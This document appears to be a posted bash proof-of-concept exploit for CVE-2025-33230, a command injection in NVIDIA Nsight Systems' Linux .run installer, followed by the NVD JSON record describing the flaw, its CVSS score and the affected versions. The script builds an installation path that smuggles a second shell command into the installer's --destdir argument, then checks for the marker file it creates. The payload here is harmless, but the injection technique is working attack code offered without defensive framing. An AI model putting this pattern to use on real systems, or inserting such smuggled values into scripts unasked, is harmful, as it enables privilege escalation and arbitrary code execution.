CVE-2025-33230

#!/bin/bash # CVE-2025-33230 PoC - NVIDIA Nsight Systems Command Injection # This PoC demonstrates the OS command injection vulnerability in the .run installer # Vulnerable installation path with injected command MALICIOUS_PATH="/tmp/test; echo 'Command Injection Successful' > /tmp/pwned.txt #" # Download vulnerable version (example version) # wget https://developer.download.nvidia.com/nsight-systems/2024.5.1/nsight-systems-cli-2024.5.1-linux64.xcuda.run # Attempt exploitation during installation # ./nsight-systems-cli-2024.5.1-linux64.xcuda.run --destdir="$MALICIOUS_PATH" # Verify exploitation if [ -f /tmp/pwned.txt ]; then echo "[+] Exploitation successful! Check /tmp/pwned.txt" cat /tmp/pwned.txt else echo "[-] Exploitation failed or target not vulnerable" fi # Cleanup rm -f /tmp/pwned.txt 2>/dev/null

{"cve": {"id": "CVE-2025-33230", "sourceIdentifier": "[email protected]", "published": "2026-01-20T18:16:02.647", "lastModified": "2026-02-02T16:07:33.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Nsight Systems for Linux contains a vulnerability in the .run installer, where an attacker could cause an OS command injection by supplying a malicious string to the installation path. A successful exploit of this vulnerability might lead to escalation of privileges, code execution, data tampering, denial of service, and information disclosure."}, {"lang": "es", "value": "NVIDIA Nsight Systems para Linux contiene una vulnerabilidad en el instalador .run, donde un atacante podría causar una inyección de comandos del sistema operativo al proporcionar una cadena maliciosa a la ruta de instalación. Un exploit exitoso de esta vulnerabilidad podría conducir a escalada de privilegios, ejecución de código, manipulación de datos, denegación de servicio y revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:cuda_toolkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.1.0", "matchCriteriaId": "6D53794E-E526-471B-94F5-F9BCC26C1BC1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33230", "source": "[email protected]", "tags": ["US Government Resource", "VDB Entry"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5755", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33230", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}